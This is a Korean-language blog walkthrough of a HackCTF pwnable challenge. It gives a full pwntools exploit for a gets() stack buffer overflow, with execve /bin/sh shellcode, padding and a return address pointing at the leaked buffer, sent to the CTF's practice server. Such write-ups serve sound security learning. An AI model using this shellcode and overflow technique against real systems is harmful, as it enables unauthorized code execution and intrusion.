WAR GAME/HackCTF

[HackCTF : Pwnable] x64 Simple_size_BOF 풀이 (64bit, shellcode)

jir4vvit 2021. 3. 9. 10:16

문제 풀이 환경 : ubuntu 20.04
사용 툴 : IDA 7.5 pro

Analysis

자살 방지 문제란다.

대놓고 gets에서 BOF가 터진다.

buf 주소도 친절하게 출력해준다. 이것과 BOF가 터지는 것을 이용하면  될 것 같다.

How to exploit

보호기법도 클린하니 쉘코드를 이용하면 될 것 같다.(NX disabled)

 

payload = 쉘코드 + dummy + SFP + RET(쉘코드 주소)

RET에는 쉘코드 자체가 아니라 쉘코드 주소가 들어가야하는 것을 명심명심

 

Let's exploit

from pwn import *

#p = process('./Simple_size_bof')
p = remote('ctf.j0n9hyun.xyz', 3005)
e = ELF('./Simple_size_bof')

p.recvuntil('buf: ')
buf_addr = int(p.recv(14), 16)

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

payload = ''
payload += shellcode
payload += 'A'*(27952-len(shellcode))
payload += 'BBBBBBBB'      #SFP
payload += p64(buf_addr)    #RET

p.sendline(payload)

p.interactive()